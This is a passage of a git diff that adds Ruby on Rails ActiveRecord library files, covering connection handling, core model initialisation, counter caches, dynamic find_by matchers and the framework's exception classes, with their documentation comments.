+ from_columns = columns(from).collect {|col| col.name}
+ columns = columns.find_all{|col| from_columns.include?(column_mappings[col])}
+ quoted_columns = columns.map { |col| quote_column_name(col) } * ','
+
+ quoted_to = quote_table_name(to)
+
+ raw_column_mappings = Hash[columns(from).map { |c| [c.name, c] }]
+
+ exec_query("SELECT * FROM #{quote_table_name(from)}").each do |row|
+ sql = "INSERT INTO #{quoted_to} (#{quoted_columns}) VALUES ("
+
+ column_values = columns.map do |col|
+ quote(row[column_mappings[col]], raw_column_mappings[col])
+ end
+
+ sql << column_values * ', '
+ sql << ')'
+ exec_query sql
+ end
+ end
+
+ def sqlite_version
+ @sqlite_version ||= SQLite3Adapter::Version.new(select_value('select sqlite_version(*)'))
+ end
+
+ def default_primary_key_type
+ if supports_autoincrement?
+ 'INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL'
+ else
+ 'INTEGER PRIMARY KEY NOT NULL'
+ end
+ end
+
+ def translate_exception(exception, message)
+ case exception.message
+ when /column(s)? .* (is|are) not unique/
+ RecordNotUnique.new(message, exception)
+ else
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/statement_pool.rb b/activerecord/lib/active_record/connection_adapters/statement_pool.rb
new file mode 100644
index 0000000..c6b1bc8
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/statement_pool.rb
@@ -0,0 +1,40 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class StatementPool
+ include Enumerable
+
+ def initialize(connection, max = 1000)
+ @connection = connection
+ @max = max
+ end
+
+ def each
+ raise NotImplementedError
+ end
+
+ def key?(key)
+ raise NotImplementedError
+ end
+
+ def [](key)
+ raise NotImplementedError
+ end
+
+ def length
+ raise NotImplementedError
+ end
+
+ def []=(sql, key)
+ raise NotImplementedError
+ end
+
+ def clear
+ raise NotImplementedError
+ end
+
+ def delete(key)
+ raise NotImplementedError
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_handling.rb b/activerecord/lib/active_record/connection_handling.rb
new file mode 100644
index 0000000..a1943df
--- /dev/null
+++ b/activerecord/lib/active_record/connection_handling.rb
@@ -0,0 +1,98 @@
+module ActiveRecord
+ module ConnectionHandling
+ # Establishes the connection to the database. Accepts a hash as input where
+ # the <tt>:adapter</tt> key must be specified with the name of a database adapter (in lower-case)
+ # example for regular databases (MySQL, Postgresql, etc):
+ #
+ # ActiveRecord::Base.establish_connection(
+ # adapter: "mysql",
+ # host: "localhost",
+ # username: "myuser",
+ # password: "mypass",
+ # database: "somedatabase"
+ # )
+ #
+ # Example for SQLite database:
+ #
+ # ActiveRecord::Base.establish_connection(
+ # adapter: "sqlite",
+ # database: "path/to/dbfile"
+ # )
+ #
+ # Also accepts keys as strings (for parsing from YAML for example):
+ #
+ # ActiveRecord::Base.establish_connection(
+ # "adapter" => "sqlite",
+ # "database" => "path/to/dbfile"
+ # )
+ #
+ # Or a URL:
+ #
+ # ActiveRecord::Base.establish_connection(
+ # "postgres://myuser:mypass@localhost/somedatabase"
+ # )
+ #
+ # The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError
+ # may be returned on an error.
+ def establish_connection(spec = ENV["DATABASE_URL"])
+ resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new spec, configurations
+ spec = resolver.spec
+
+ unless respond_to?(spec.adapter_method)
+ raise AdapterNotFound, "database configuration specifies nonexistent #{spec.config[:adapter]} adapter"
+ end
+
+ remove_connection
+ connection_handler.establish_connection self, spec
+ end
+
+ # Returns the connection currently associated with the class. This can
+ # also be used to "borrow" the connection to do database work unrelated
+ # to any of the specific Active Records.
+ def connection
+ retrieve_connection
+ end
+
+ def connection_id
+ ActiveRecord::RuntimeRegistry.connection_id
+ end
+
+ def connection_id=(connection_id)
+ ActiveRecord::RuntimeRegistry.connection_id = connection_id
+ end
+
+ # Returns the configuration of the associated connection as a hash:
+ #
+ # ActiveRecord::Base.connection_config
+ # # => {pool: 5, timeout: 5000, database: "db/development.sqlite3", adapter: "sqlite3"}
+ #
+ # Please use only for reading.
+ def connection_config
+ connection_pool.spec.config
+ end
+
+ def connection_pool
+ connection_handler.retrieve_connection_pool(self) or raise ConnectionNotEstablished
+ end
+
+ def retrieve_connection
+ connection_handler.retrieve_connection(self)
+ end
+
+ # Returns +true+ if Active Record is connected.
+ def connected?
+ connection_handler.connected?(self)
+ end
+
+ def remove_connection(klass = self)
+ connection_handler.remove_connection(klass)
+ end
+
+ def clear_cache! # :nodoc:
+ connection.schema_cache.clear!
+ end
+
+ delegate :clear_active_connections!, :clear_reloadable_connections!,
+ :clear_all_connections!, :to => :connection_handler
+ end
+end
diff --git a/activerecord/lib/active_record/core.rb b/activerecord/lib/active_record/core.rb
new file mode 100644
index 0000000..ba05370
--- /dev/null
+++ b/activerecord/lib/active_record/core.rb
@@ -0,0 +1,463 @@
+require 'active_support/core_ext/hash/indifferent_access'
+require 'active_support/core_ext/object/duplicable'
+require 'thread'
+
+module ActiveRecord
+ module Core
+ extend ActiveSupport::Concern
+
+ included do
+ ##
+ # :singleton-method:
+ #
+ # Accepts a logger conforming to the interface of Log4r which is then
+ # passed on to any new database connections made and which can be
+ # retrieved on both a class and instance level by calling +logger+.
+ mattr_accessor :logger, instance_writer: false
+
+ ##
+ # :singleton-method:
+ # Contains the database configuration - as is typically stored in config/database.yml -
+ # as a Hash.
+ #
+ # For example, the following database.yml...
+ #
+ # development:
+ # adapter: sqlite3
+ # database: db/development.sqlite3
+ #
+ # production:
+ # adapter: sqlite3
+ # database: db/production.sqlite3
+ #
+ # ...would result in ActiveRecord::Base.configurations to look like this:
+ #
+ # {
+ # 'development' => {
+ # 'adapter' => 'sqlite3',
+ # 'database' => 'db/development.sqlite3'
+ # },
+ # 'production' => {
+ # 'adapter' => 'sqlite3',
+ # 'database' => 'db/production.sqlite3'
+ # }
+ # }
+ mattr_accessor :configurations, instance_writer: false
+ self.configurations = {}
+
+ ##
+ # :singleton-method:
+ # Determines whether to use Time.utc (using :utc) or Time.local (using :local) when pulling
+ # dates and times from the database. This is set to :utc by default.
+ mattr_accessor :default_timezone, instance_writer: false
+ self.default_timezone = :utc
+
+ ##
+ # :singleton-method:
+ # Specifies the format to use when dumping the database schema with Rails'
+ # Rakefile. If :sql, the schema is dumped as (potentially database-
+ # specific) SQL statements. If :ruby, the schema is dumped as an
+ # ActiveRecord::Schema file which can be loaded into any database that
+ # supports migrations. Use :ruby if you want to have different database
+ # adapters for, e.g., your development and test environments.
+ mattr_accessor :schema_format, instance_writer: false
+ self.schema_format = :ruby
+
+ ##
+ # :singleton-method:
+ # Specify whether or not to use timestamps for migration versions
+ mattr_accessor :timestamped_migrations, instance_writer: false
+ self.timestamped_migrations = true
+
+ ##
+ # :singleton-method:
+ # Disable implicit join references. This feature was deprecated with Rails 4.
+ # If you don't make use of implicit references but still see deprecation warnings
+ # you can disable the feature entirely. This will be the default with Rails 4.1.
+ mattr_accessor :disable_implicit_join_references, instance_writer: false
+ self.disable_implicit_join_references = false
+
+ class_attribute :default_connection_handler, instance_writer: false
+
+ def self.connection_handler
+ ActiveRecord::RuntimeRegistry.connection_handler || default_connection_handler
+ end
+
+ def self.connection_handler=(handler)
+ ActiveRecord::RuntimeRegistry.connection_handler = handler
+ end
+
+ self.default_connection_handler = ConnectionAdapters::ConnectionHandler.new
+ end
+
+ module ClassMethods
+ def inherited(child_class) #:nodoc:
+ child_class.initialize_generated_modules
+ super
+ end
+
+ def initialize_generated_modules
+ @attribute_methods_mutex = Mutex.new
+
+ # force attribute methods to be higher in inheritance hierarchy than other generated methods
+ generated_attribute_methods.const_set(:AttrNames, Module.new {
+ def self.const_missing(name)
+ const_set(name, [name.to_s.sub(/ATTR_/, '')].pack('h*').freeze)
+ end
+ })
+
+ generated_feature_methods
+ end
+
+ def generated_feature_methods
+ @generated_feature_methods ||= begin
+ mod = const_set(:GeneratedFeatureMethods, Module.new)
+ include mod
+ mod
+ end
+ end
+
+ # Returns a string like 'Post(id:integer, title:string, body:text)'
+ def inspect
+ if self == Base
+ super
+ elsif abstract_class?
+ "#{super}(abstract)"
+ elsif table_exists?
+ attr_list = columns.map { |c| "#{c.name}: #{c.type}" } * ', '
+ "#{super}(#{attr_list})"
+ else
+ "#{super}(Table doesn't exist)"
+ end
+ end
+
+ # Overwrite the default class equality method to provide support for association proxies.
+ def ===(object)
+ object.is_a?(self)
+ end
+
+ # Returns an instance of <tt>Arel::Table</tt> loaded with the current table name.
+ #
+ # class Post < ActiveRecord::Base
+ # scope :published_and_commented, published.and(self.arel_table[:comments_count].gt(0))
+ # end
+ def arel_table
+ @arel_table ||= Arel::Table.new(table_name, arel_engine)
+ end
+
+ # Returns the Arel engine.
+ def arel_engine
+ @arel_engine ||= begin
+ if Base == self || connection_handler.retrieve_connection_pool(self)
+ self
+ else
+ superclass.arel_engine
+ end
+ end
+ end
+
+ private
+
+ def relation #:nodoc:
+ relation = Relation.new(self, arel_table)
+
+ if finder_needs_type_condition?
+ relation.where(type_condition).create_with(inheritance_column.to_sym => sti_name)
+ else
+ relation
+ end
+ end
+ end
+
+ # New objects can be instantiated as either empty (pass no construction parameter) or pre-set with
+ # attributes but not yet saved (pass a hash with key names matching the associated table column names).
+ # In both instances, valid attribute keys are determined by the column names of the associated table --
+ # hence you can't have attributes that aren't part of the table columns.
+ #
+ # ==== Example:
+ # # Instantiates a single new object
+ # User.new(first_name: 'Jamie')
+ def initialize(attributes = nil)
+ defaults = self.class.column_defaults.dup
+ defaults.each { |k, v| defaults[k] = v.dup if v.duplicable? }
+
+ @attributes = self.class.initialize_attributes(defaults)
+ @columns_hash = self.class.column_types.dup
+
+ init_internals
+ init_changed_attributes
+ ensure_proper_type
+ populate_with_current_scope_attributes
+
+ assign_attributes(attributes) if attributes
+
+ yield self if block_given?
+ run_callbacks :initialize unless _initialize_callbacks.empty?
+ end
+
+ # Initialize an empty model object from +coder+. +coder+ must contain
+ # the attributes necessary for initializing an empty model object. For
+ # example:
+ #
+ # class Post < ActiveRecord::Base
+ # end
+ #
+ # post = Post.allocate
+ # post.init_with('attributes' => { 'title' => 'hello world' })
+ # post.title # => 'hello world'
+ def init_with(coder)
+ @attributes = self.class.initialize_attributes(coder['attributes'])
+ @columns_hash = self.class.column_types.merge(coder['column_types'] || {})
+
+ init_internals
+
+ @new_record = false
+
+ run_callbacks :find
+ run_callbacks :initialize
+
+ self
+ end
+
+ ##
+ # :method: clone
+ # Identical to Ruby's clone method. This is a "shallow" copy. Be warned that your attributes are not copied.
+ # That means that modifying attributes of the clone will modify the original, since they will both point to the
+ # same attributes hash. If you need a copy of your attributes hash, please use the #dup method.
+ #
+ # user = User.first
+ # new_user = user.clone
+ # user.name # => "Bob"
+ # new_user.name = "Joe"
+ # user.name # => "Joe"
+ #
+ # user.object_id == new_user.object_id # => false
+ # user.name.object_id == new_user.name.object_id # => true
+ #
+ # user.name.object_id == user.dup.name.object_id # => false
+
+ ##
+ # :method: dup
+ # Duped objects have no id assigned and are treated as new records. Note
+ # that this is a "shallow" copy as it copies the object's attributes
+ # only, not its associations. The extent of a "deep" copy is application
+ # specific and is therefore left to the application to implement according
+ # to its need.
+ # The dup method does not preserve the timestamps (created|updated)_(at|on).
+
+ ##
+ def initialize_dup(other) # :nodoc:
+ cloned_attributes = other.clone_attributes(:read_attribute_before_type_cast)
+ self.class.initialize_attributes(cloned_attributes, :serialized => false)
+
+ @attributes = cloned_attributes
+ @attributes[self.class.primary_key] = nil
+
+ run_callbacks(:initialize) unless _initialize_callbacks.empty?
+
+ @changed_attributes = {}
+ init_changed_attributes
+
+ @aggregation_cache = {}
+ @association_cache = {}
+ @attributes_cache = {}
+
+ @new_record = true
+
+ ensure_proper_type
+ super
+ end
+
+ # Populate +coder+ with attributes about this record that should be
+ # serialized. The structure of +coder+ defined in this method is
+ # guaranteed to match the structure of +coder+ passed to the +init_with+
+ # method.
+ #
+ # Example:
+ #
+ # class Post < ActiveRecord::Base
+ # end
+ # coder = {}
+ # Post.new.encode_with(coder)
+ # coder # => {"attributes" => {"id" => nil, ... }}
+ def encode_with(coder)
+ coder['attributes'] = attributes
+ end
+
+ # Returns true if +comparison_object+ is the same exact object, or +comparison_object+
+ # is of the same type and +self+ has an ID and it is equal to +comparison_object.id+.
+ #
+ # Note that new records are different from any other record by definition, unless the
+ # other record is the receiver itself. Besides, if you fetch existing records with
+ # +select+ and leave the ID out, you're on your own, this predicate will return false.
+ #
+ # Note also that destroying a record preserves its ID in the model instance, so deleted
+ # models are still comparable.
+ def ==(comparison_object)
+ super ||
+ comparison_object.instance_of?(self.class) &&
+ id.present? &&
+ comparison_object.id == id
+ end
+ alias :eql? :==
+
+ # Delegates to id in order to allow two records of the same type and id to work with something like:
+ # [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
+ def hash
+ id.hash
+ end
+
+ # Clone and freeze the attributes hash such that associations are still
+ # accessible, even on destroyed records, but cloned models will not be
+ # frozen.
+ def freeze
+ @attributes = @attributes.clone.freeze
+ self
+ end
+
+ # Returns +true+ if the attributes hash has been frozen.
+ def frozen?
+ @attributes.frozen?
+ end
+
+ # Allows sort on objects
+ def <=>(other_object)
+ if other_object.is_a?(self.class)
+ self.to_key <=> other_object.to_key
+ end
+ end
+
+ # Returns +true+ if the record is read only. Records loaded through joins with piggy-back
+ # attributes will be marked as read only since they cannot be saved.
+ def readonly?
+ @readonly
+ end
+
+ # Marks this record as read only.
+ def readonly!
+ @readonly = true
+ end
+
+ # Returns the connection currently associated with the class. This can
+ # also be used to "borrow" the connection to do database work that isn't
+ # easily done without going straight to SQL.
+ def connection
+ ActiveSupport::Deprecation.warn("#connection is deprecated in favour of accessing it via the class")
+ self.class.connection
+ end
+
+ def connection_handler
+ self.class.connection_handler
+ end
+
+ # Returns the contents of the record as a nicely formatted string.
+ def inspect
+ # We check defined?(@attributes) not to issue warnings if the object is
+ # allocated but not initialized.
+ inspection = if defined?(@attributes) && @attributes
+ self.class.column_names.collect { |name|
+ if has_attribute?(name)
+ "#{name}: #{attribute_for_inspect(name)}"
+ end
+ }.compact.join(", ")
+ else
+ "not initialized"
+ end
+ "#<#{self.class} #{inspection}>"
+ end
+
+ # Returns a hash of the given methods with their names as keys and returned values as values.
+ def slice(*methods)
+ Hash[methods.map { |method| [method, public_send(method)] }].with_indifferent_access
+ end
+
+ def set_transaction_state(state) # :nodoc:
+ @transaction_state = state
+ end
+
+ def has_transactional_callbacks? # :nodoc:
+ !_rollback_callbacks.empty? || !_commit_callbacks.empty? || !_create_callbacks.empty?
+ end
+
+ private
+
+ # Updates the attributes on this particular ActiveRecord object so that
+ # if it is associated with a transaction, then the state of the AR object
+ # will be updated to reflect the current state of the transaction
+ #
+ # The @transaction_state variable stores the states of the associated
+ # transaction. This relies on the fact that a transaction can only be in
+ # one rollback or commit (otherwise a list of states would be required)
+ # Each AR object inside of a transaction carries that transaction's
+ # TransactionState.
+ #
+ # This method checks to see if the ActiveRecord object's state reflects
+ # the TransactionState, and rolls back or commits the ActiveRecord object
+ # as appropriate.
+ #
+ # Since ActiveRecord objects can be inside multiple transactions, this
+ # method recursively goes through the parent of the TransactionState and
+ # checks if the ActiveRecord object reflects the state of the object.
+ def sync_with_transaction_state
+ update_attributes_from_transaction_state(@transaction_state, 0)
+ end
+
+ def update_attributes_from_transaction_state(transaction_state, depth)
+ if transaction_state && !has_transactional_callbacks?
+ unless @reflects_state[depth]
+ if transaction_state.committed?
+ committed!
+ elsif transaction_state.rolledback?
+ rolledback!
+ end
+ @reflects_state[depth] = true
+ end
+
+ if transaction_state.parent && !@reflects_state[depth+1]
+ update_attributes_from_transaction_state(transaction_state.parent, depth+1)
+ end
+ end
+ end
+
+ # Under Ruby 1.9, Array#flatten will call #to_ary (recursively) on each of the elements
+ # of the array, and then rescues from the possible NoMethodError. If those elements are
+ # ActiveRecord::Base's, then this triggers the various method_missing's that we have,
+ # which significantly impacts upon performance.
+ #
+ # So we can avoid the method_missing hit by explicitly defining #to_ary as nil here.
+ #
+ # See also http://tenderlovemaking.com/2011/06/28/til-its-ok-to-return-nil-from-to_ary.html
+ def to_ary # :nodoc:
+ nil
+ end
+
+ def init_internals
+ pk = self.class.primary_key
+ @attributes[pk] = nil unless @attributes.key?(pk)
+
+ @aggregation_cache = {}
+ @association_cache = {}
+ @attributes_cache = {}
+ @previously_changed = {}
+ @changed_attributes = {}
+ @readonly = false
+ @destroyed = false
+ @marked_for_destruction = false
+ @destroyed_by_association = nil
+ @new_record = true
+ @txn = nil
+ @_start_transaction_state = {}
+ @transaction_state = nil
+ @reflects_state = [false]
+ end
+
+ def init_changed_attributes
+ # Intentionally avoid using #column_defaults since overridden defaults (as is done in
+ # optimistic locking) won't get written unless they get marked as changed
+ self.class.columns.each do |c|
+ attr, orig_value = c.name, c.default
+ @changed_attributes[attr] = orig_value if _field_changed?(attr, orig_value, @attributes[attr])
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/counter_cache.rb b/activerecord/lib/active_record/counter_cache.rb
new file mode 100644
index 0000000..81cca37
--- /dev/null
+++ b/activerecord/lib/active_record/counter_cache.rb
@@ -0,0 +1,122 @@
+module ActiveRecord
+ # = Active Record Counter Cache
+ module CounterCache
+ extend ActiveSupport::Concern
+
+ module ClassMethods
+ # Resets one or more counter caches to their correct value using an SQL
+ # count query. This is useful when adding new counter caches, or if the
+ # counter has been corrupted or modified directly by SQL.
+ #
+ # ==== Parameters
+ #
+ # * +id+ - The id of the object you wish to reset a counter on.
+ # * +counters+ - One or more association counters to reset
+ #
+ # ==== Examples
+ #
+ # # For Post with id #1 records reset the comments_count
+ # Post.reset_counters(1, :comments)
+ def reset_counters(id, *counters)
+ object = find(id)
+ counters.each do |association|
+ has_many_association = reflect_on_association(association.to_sym)
+ raise ArgumentError, "'#{self.name}' has no association called '#{association}'" unless has_many_association
+
+ if has_many_association.is_a? ActiveRecord::Reflection::ThroughReflection
+ has_many_association = has_many_association.through_reflection
+ end
+
+ foreign_key = has_many_association.foreign_key.to_s
+ child_class = has_many_association.klass
+ belongs_to = child_class.reflect_on_all_associations(:belongs_to)
+ reflection = belongs_to.find { |e| e.foreign_key.to_s == foreign_key && e.options[:counter_cache].present? }
+ counter_name = reflection.counter_cache_column
+
+ stmt = unscoped.where(arel_table[primary_key].eq(object.id)).arel.compile_update({
+ arel_table[counter_name] => object.send(association).count
+ })
+ connection.update stmt
+ end
+ return true
+ end
+
+ # A generic "counter updater" implementation, intended primarily to be
+ # used by increment_counter and decrement_counter, but which may also
+ # be useful on its own. It simply does a direct SQL update for the record
+ # with the given ID, altering the given hash of counters by the amount
+ # given by the corresponding value:
+ #
+ # ==== Parameters
+ #
+ # * +id+ - The id of the object you wish to update a counter on or an Array of ids.
+ # * +counters+ - An Array of Hashes containing the names of the fields
+ # to update as keys and the amount to update the field by as values.
+ #
+ # ==== Examples
+ #
+ # # For the Post with id of 5, decrement the comment_count by 1, and
+ # # increment the action_count by 1
+ # Post.update_counters 5, comment_count: -1, action_count: 1
+ # # Executes the following SQL:
+ # # UPDATE posts
+ # # SET comment_count = COALESCE(comment_count, 0) - 1,
+ # # action_count = COALESCE(action_count, 0) + 1
+ # # WHERE id = 5
+ #
+ # # For the Posts with id of 10 and 15, increment the comment_count by 1
+ # Post.update_counters [10, 15], comment_count: 1
+ # # Executes the following SQL:
+ # # UPDATE posts
+ # # SET comment_count = COALESCE(comment_count, 0) + 1
+ # # WHERE id IN (10, 15)
+ def update_counters(id, counters)
+ updates = counters.map do |counter_name, value|
+ operator = value < 0 ? '-' : '+'
+ quoted_column = connection.quote_column_name(counter_name)
+ "#{quoted_column} = COALESCE(#{quoted_column}, 0) #{operator} #{value.abs}"
+ end
+
+ where(primary_key => id).update_all updates.join(', ')
+ end
+
+ # Increment a numeric field by one, via a direct SQL update.
+ #
+ # This method is used primarily for maintaining counter_cache columns used to
+ # store aggregate values. For example, a DiscussionBoard may cache posts_count
+ # and comments_count to avoid running an SQL query to calculate the number of
+ # posts and comments there are each time it is displayed.
+ #
+ # ==== Parameters
+ #
+ # * +counter_name+ - The name of the field that should be incremented.
+ # * +id+ - The id of the object that should be incremented or an Array of ids.
+ #
+ # ==== Examples
+ #
+ # # Increment the post_count column for the record with an id of 5
+ # DiscussionBoard.increment_counter(:post_count, 5)
+ def increment_counter(counter_name, id)
+ update_counters(id, counter_name => 1)
+ end
+
+ # Decrement a numeric field by one, via a direct SQL update.
+ #
+ # This works the same as increment_counter but reduces the column value by
+ # 1 instead of increasing it.
+ #
+ # ==== Parameters
+ #
+ # * +counter_name+ - The name of the field that should be decremented.
+ # * +id+ - The id of the object that should be decremented or an Array of ids.
+ #
+ # ==== Examples
+ #
+ # # Decrement the post_count column for the record with an id of 5
+ # DiscussionBoard.decrement_counter(:post_count, 5)
+ def decrement_counter(counter_name, id)
+ update_counters(id, counter_name => -1)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/dynamic_matchers.rb b/activerecord/lib/active_record/dynamic_matchers.rb
new file mode 100644
index 0000000..3bac31c
--- /dev/null
+++ b/activerecord/lib/active_record/dynamic_matchers.rb
@@ -0,0 +1,131 @@
+module ActiveRecord
+ module DynamicMatchers #:nodoc:
+ # This code in this file seems to have a lot of indirection, but the indirection
+ # is there to provide extension points for the activerecord-deprecated_finders
+ # gem. When we stop supporting activerecord-deprecated_finders (from Rails 5),
+ # then we can remove the indirection.
+
+ def respond_to?(name, include_private = false)
+ match = Method.match(self, name)
+ match && match.valid? || super
+ end
+
+ private
+
+ def method_missing(name, *arguments, &block)
+ match = Method.match(self, name)
+
+ if match && match.valid?
+ match.define
+ send(name, *arguments, &block)
+ else
+ super
+ end
+ end
+
+ class Method
+ @matchers = []
+
+ class << self
+ attr_reader :matchers
+
+ def match(model, name)
+ klass = matchers.find { |k| name =~ k.pattern }
+ klass.new(model, name) if klass
+ end
+
+ def pattern
+ /^#{prefix}_([_a-zA-Z]\w*)#{suffix}$/
+ end
+
+ def prefix
+ raise NotImplementedError
+ end
+
+ def suffix
+ ''
+ end
+ end
+
+ attr_reader :model, :name, :attribute_names
+
+ def initialize(model, name)
+ @model = model
+ @name = name.to_s
+ @attribute_names = @name.match(self.class.pattern)[1].split('_and_')
+ @attribute_names.map! { |n| @model.attribute_aliases[n] || n }
+ end
+
+ def valid?
+ attribute_names.all? { |name| model.columns_hash[name] || model.reflect_on_aggregation(name.to_sym) }
+ end
+
+ def define
+ model.class_eval <<-CODE, __FILE__, __LINE__ + 1
+ def self.#{name}(#{signature})
+ #{body}
+ end
+ CODE
+ end
+
+ def body
+ raise NotImplementedError
+ end
+ end
+
+ module Finder
+ # Extended in activerecord-deprecated_finders
+ def body
+ result
+ end
+
+ # Extended in activerecord-deprecated_finders
+ def result
+ "#{finder}(#{attributes_hash})"
+ end
+
+ # Extended in activerecord-deprecated_finders
+ def signature
+ attribute_names.join(', ')
+ end
+
+ def attributes_hash
+ "{" + attribute_names.map { |name| ":#{name} => #{name}" }.join(',') + "}"
+ end
+
+ def finder
+ raise NotImplementedError
+ end
+ end
+
+ class FindBy < Method
+ Method.matchers << self
+ include Finder
+
+ def self.prefix
+ "find_by"
+ end
+
+ def finder
+ "find_by"
+ end
+ end
+
+ class FindByBang < Method
+ Method.matchers << self
+ include Finder
+
+ def self.prefix
+ "find_by"
+ end
+
+ def self.suffix
+ "!"
+ end
+
+ def finder
+ "find_by!"
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/errors.rb b/activerecord/lib/active_record/errors.rb
new file mode 100644
index 0000000..cd31147
--- /dev/null
+++ b/activerecord/lib/active_record/errors.rb
@@ -0,0 +1,213 @@
+module ActiveRecord
+
+ # = Active Record Errors
+ #
+ # Generic Active Record exception class.
+ class ActiveRecordError < StandardError
+ end
+
+ # Raised when the single-table inheritance mechanism fails to locate the subclass
+ # (for example due to improper usage of column that +inheritance_column+ points to).
+ class SubclassNotFound < ActiveRecordError #:nodoc:
+ end
+
+ # Raised when an object assigned to an association has an incorrect type.
+ #
+ # class Ticket < ActiveRecord::Base
+ # has_many :patches
+ # end
+ #
+ # class Patch < ActiveRecord::Base
+ # belongs_to :ticket
+ # end
+ #
+ # # Comments are not patches, this assignment raises AssociationTypeMismatch.
+ # @ticket.patches << Comment.new(content: "Please attach tests to your patch.")
+ class AssociationTypeMismatch < ActiveRecordError
+ end
+
+ # Raised when unserialized object's type mismatches one specified for serializable field.
+ class SerializationTypeMismatch < ActiveRecordError
+ end
+
+ # Raised when adapter not specified on connection (or configuration file <tt>config/database.yml</tt>
+ # misses adapter field).
+ class AdapterNotSpecified < ActiveRecordError
+ end
+
+ # Raised when Active Record cannot find database adapter specified in <tt>config/database.yml</tt> or programmatically.
+ class AdapterNotFound < ActiveRecordError
+ end
+
+ # Raised when connection to the database could not been established (for example when <tt>connection=</tt>
+ # is given a nil object).
+ class ConnectionNotEstablished < ActiveRecordError
+ end
+
+ # Raised when Active Record cannot find record by given id or set of ids.
+ class RecordNotFound < ActiveRecordError
+ end
+
+ # Raised by ActiveRecord::Base.save! and ActiveRecord::Base.create! methods when record cannot be
+ # saved because record is invalid.
+ class RecordNotSaved < ActiveRecordError
+ end
+
+ # Raised by ActiveRecord::Base.destroy! when a call to destroy would return false.
+ class RecordNotDestroyed < ActiveRecordError
+ end
+
+ # Superclass for all database execution errors.
+ #
+ # Wraps the underlying database error as +original_exception+.
+ class StatementInvalid < ActiveRecordError
+ attr_reader :original_exception
+
+ def initialize(message, original_exception = nil)
+ super(message)
+ @original_exception = original_exception
+ end
+ end
+
+ # Raised when SQL statement is invalid and the application gets a blank result.
+ class ThrowResult < ActiveRecordError
+ end
+
+ # Defunct wrapper class kept for compatibility.
+ # +StatementInvalid+ wraps the original exception now.
+ class WrappedDatabaseException < StatementInvalid
+ end
+
+ # Raised when a record cannot be inserted because it would violate a uniqueness constraint.
+ class RecordNotUnique < WrappedDatabaseException
+ end
+
+ # Raised when a record cannot be inserted or updated because it references a non-existent record.
+ class InvalidForeignKey < WrappedDatabaseException
+ end
+
+ # Raised when number of bind variables in statement given to <tt>:condition</tt> key (for example,
+ # when using +find+ method)
+ # does not match number of expected variables.
+ #
+ # For example, in
+ #
+ # Location.where("lat = ? AND lng = ?", 53.7362)
+ #
+ # two placeholders are given but only one variable to fill them.
+ class PreparedStatementInvalid < ActiveRecordError
+ end
+
+ # Raised on attempt to save stale record. Record is stale when it's being saved in another query after
+ # instantiation, for example, when two users edit the same wiki page and one starts editing and saves
+ # the page before the other.
+ #
+ # Read more about optimistic locking in ActiveRecord::Locking module RDoc.
+ class StaleObjectError < ActiveRecordError
+ attr_reader :record, :attempted_action
+
+ def initialize(record, attempted_action)
+ super("Attempted to #{attempted_action} a stale object: #{record.class.name}")
+ @record = record
+ @attempted_action = attempted_action
+ end
+
+ end
+
+ # Raised when association is being configured improperly or
+ # user tries to use offset and limit together with has_many or has_and_belongs_to_many associations.
+ class ConfigurationError < ActiveRecordError
+ end
+
+ # Raised on attempt to update record that is instantiated as read only.
+ class ReadOnlyRecord < ActiveRecordError
+ end
+
+ # ActiveRecord::Transactions::ClassMethods.transaction uses this exception
+ # to distinguish a deliberate rollback from other exceptional situations.
+ # Normally, raising an exception will cause the +transaction+ method to rollback
+ # the database transaction *and* pass on the exception. But if you raise an
+ # ActiveRecord::Rollback exception, then the database transaction will be rolled back,
+ # without passing on the exception.
+ #
+ # For example, you could do this in your controller to rollback a transaction:
+ #
+ # class BooksController < ActionController::Base
+ # def create
+ # Book.transaction do
+ # book = Book.new(params[:book])
+ # book.save!
+ # if today_is_friday?
+ # # The system must fail on Friday so that our support department
+ # # won't be out of job. We silently rollback this transaction
+ # # without telling the user.
+ # raise ActiveRecord::Rollback, "Call tech support!"
+ # end
+ # end
+ # # ActiveRecord::Rollback is the only exception that won't be passed on
+ # # by ActiveRecord::Base.transaction, so this line will still be reached
+ # # even on Friday.
+ # redirect_to root_url
+ # end
+ # end
+ class Rollback < ActiveRecordError
+ end
+
+ # Raised when attribute has a name reserved by Active Record (when attribute has name of one of Active Record instance methods).
+ class DangerousAttributeError < ActiveRecordError
+ end
+
+ # Raised when unknown attributes are supplied via mass assignment.
+ class UnknownAttributeError < NoMethodError
+ end
+
+ # Raised when an error occurred while doing a mass assignment to an attribute through the
+ # <tt>attributes=</tt> method. The exception has an +attribute+ property that is the name of the
+ # offending attribute.
+ class AttributeAssignmentError < ActiveRecordError
+ attr_reader :exception, :attribute
+ def initialize(message, exception, attribute)
+ super(message)
+ @exception = exception
+ @attribute = attribute
+ end
+ end
+
+ # Raised when there are multiple errors while doing a mass assignment through the +attributes+
+ # method. The exception has an +errors+ property that contains an array of AttributeAssignmentError
+ # objects, each corresponding to the error while assigning to an attribute.
+ class MultiparameterAssignmentErrors < ActiveRecordError
+ attr_reader :errors
+ def initialize(errors)
+ @errors = errors
+ end
+ end
+
+ # Raised when a primary key is needed, but there is not one specified in the schema or model.
+ class UnknownPrimaryKey < ActiveRecordError
+ attr_reader :model
+
+ def initialize(model)
+ super("Unknown primary key for table #{model.table_name} in model #{model}.")
+ @model = model
+ end
+
+ end
+
+ # Raised when a relation cannot be mutated because it's already loaded.
+ #
+ # class Task < ActiveRecord::Base
+ # end
+ #
+ # relation = Task.all
+ # relation.loaded? # => true
+ #
+ # # Methods which try to mutate a loaded relation fail.
+ # relation.where!(title: 'TODO') # => ActiveRecord::ImmutableRelation
+ # relation.limit!(5) # => ActiveRecord::ImmutableRelation
+ class ImmutableRelation < ActiveRecordError
+ end
+
+ class TransactionIsolationError < ActiveRecordError
+ end
+end
diff --git a/activerecord/lib/active_record/explain.rb b/activerecord/lib/active_record/explain.rb
new file mode 100644
